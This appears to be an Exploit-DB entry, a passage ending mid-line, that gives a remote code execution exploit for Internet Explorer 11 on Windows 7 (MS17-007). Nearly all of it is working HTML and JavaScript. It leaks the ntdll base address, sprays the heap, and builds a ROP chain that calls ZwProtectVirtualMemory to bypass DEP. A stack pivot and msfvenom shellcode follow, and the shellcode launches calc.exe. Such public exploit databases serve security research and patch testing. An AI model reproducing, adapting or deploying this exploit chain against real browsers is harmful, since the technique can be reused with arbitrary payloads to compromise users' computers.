Exploit-DB #43125
Description: Microsoft Internet Explorer 11 (Windows 7 x86) - 'mshtml.dll' Remote Code Execution (MS17-007)
Type: remote
Platform: windows_x86
Date: 2017-10-17
Author: mschenk

Exploit:
<!DOCTYPE html>
<html>
<head>
    <style>
        .class1 { float: left; column-count: 5; }
        .class2 { column-span: all; columns: 1px; }
        table {border-spacing: 0px;}
    </style>
    <script>
 
    var ntdllBase = "";

     function infoleak() {
     
        var textarea = document.getElementById("textarea");
        var frame = document.createElement("iframe");
        textarea.appendChild(frame);
        frame.contentDocument.onreadystatechange = eventhandler;
        form.reset();  
    }
      
    function eventhandler() {
        document.getElementById("textarea").defaultValue = "foo";
        // Object replaced here
        // one of the side allocations of the audio element
        var j = document.createElement("canvas");
        ctx=j.getContext("2d");
        ctx.beginPath();
        ctx.moveTo(20,20);
        ctx.lineTo(20,100);
        ctx.lineTo(70,100);
        ctx.strokeStyle="red";
        ctx.stroke();              
    }
     
            
    setTimeout(function() {
        var txt = document.getElementById("textarea");
        var il = txt.value.substring(2,4);
        var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
        ntdllBase = addr - 0x000d8560;

        alert("NTDLL base addr is: 0x" + ntdllBase.toString(16));
        spray();
        boom();
    }, 1000); 

    function writeu(base, offs) {
     
        var res = 0;
        if (base != 0) {  res = base + offs }
        else {  res = offs }
        res = res.toString(16);
        while (res.length < 8) res = "0"+res;
        return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
         
    }

    function spray()
    {
        var hso = document.createElement("div");

        var junk = unescape("%u0e0e%u0e0e");
        while(junk.length < 0x1000) junk += junk;

        //ntdll prefered base addr = 0x77ec0000
        
        //ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect      
        var rop = unescape(
                writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret 
                writeu(0, 0x12345678) + //junk to account for retn 0x0004
                writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder
                writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
                writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret
                writeu(0, 0x12345678) + //junk into esi
                writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
                writeu(0, 0x12345678) + //junk into ebp
                writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret 
                writeu(0, 0x12345678) + //junk to account for retn 0x0008
                writeu(0, 0x12345678) + //junk to account for retn 0x0008
                writeu(0, 0x0e0e0484) + //addr of protection value placeholder
                writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
                writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
                writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
                writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
                writeu(0, 0x12345678) + //junk into ebp
                writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret  
                writeu(0, 0x12345678) + //junk to account for retn 0x0008
                writeu(0, 0x12345678) + //junk to account for retn 0x0008
                writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0
                writeu(0, 0x0e0e048c) + //return addr = shellcode addr
                writeu(0, 0xffffffff) + //process handle (-1)
                writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode
                writeu(0, 0x0e0e0e3e) + //pointer to size 
                writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40
                writeu(0, 0x0e0e0e0a) //addr to write old protection value
            );

        //Shellcode
        //root@kali:~# msfvenom  -p windows/exec cmd=calc.exe -b "\x00" -f js_le

        var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
                "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
        "");

        //stack pivot
        var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004
        //first stage ROP chain to do bigger stack pivot
        var pivot = unescape(
            writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret 
            writeu(0, 0x12345678) + //junk offset for retn 0x0004
            writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain
            writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004
            writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory
            );

        var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e
        var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellco